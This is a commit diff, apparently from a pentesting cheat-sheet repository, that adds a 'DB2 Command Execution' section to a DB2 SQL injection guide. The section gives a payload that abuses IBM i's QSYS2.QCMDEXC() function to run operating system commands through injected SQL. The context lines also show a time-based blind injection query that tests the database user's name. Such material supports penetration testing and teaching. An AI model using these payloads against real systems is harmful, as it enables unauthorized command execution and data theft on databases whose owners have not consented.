Skip to content

Commit e25a025

Browse files
committed
DB2 Command Execution with QSYS2.QCMDEXC
1 parent bc6efd6 commit e25a025

1 file changed

Lines changed: 13 additions & 1 deletion

File tree

SQL Injection/DB2 Injection.md

Lines changed: 13 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@
1212
* [DB2 Error Based](#db2-error-based)
1313
* [DB2 Blind Based](#db2-blind-based)
1414
* [DB2 Time Based](#db2-time-based)
15+
* [DB2 Command Execution](#db2-command-execution)
1516
* [DB2 WAF Bypass](#db2-waf-bypass)
1617
* [DB2 Accounts and Privileges](#db2-accounts-and-privileges)
1718
* [References](#references)
@@ -102,6 +103,16 @@ Heavy queries, if user starts with ascii 68 ('D'), the heavy query will be execu
102103
' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68
103104
```
104105
106+
## DB2 Command Execution
107+
108+
> The QSYS2.QCMDEXC() procedure and scalar function can be used to execute IBM i CL commands.
109+
110+
Using the `QSYS2.QCMDEXC()` on IBM i (previously named AS-400), it is possibile to achieve command execution.
111+
112+
```sql
113+
'||QCMDEXC('QSH CMD(''system dspusrprf PROFILE'')')
114+
```
115+
105116

106117
## DB2 WAF Bypass
107118

@@ -130,4 +141,5 @@ SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1
130141
## References
131142

132143
- [DB2 SQL injection cheat sheet - Adrián - May 20, 2012](https://securityetalii.es/2012/05/20/db2-sql-injection-cheat-sheet/)
133-
- [Pentestmonkey's DB2 SQL Injection Cheat Sheet - @pentestmonkey - September 17, 2011](http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet)
144+
- [Pentestmonkey's DB2 SQL Injection Cheat Sheet - @pentestmonkey - September 17, 2011](http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet)
145+
- [QSYS2.QCMDEXC() - IBM Support - April 22, 2023](https://www.ibm.com/support/pages/qsys2qcmdexc)

0 commit comments

Comments
 (0)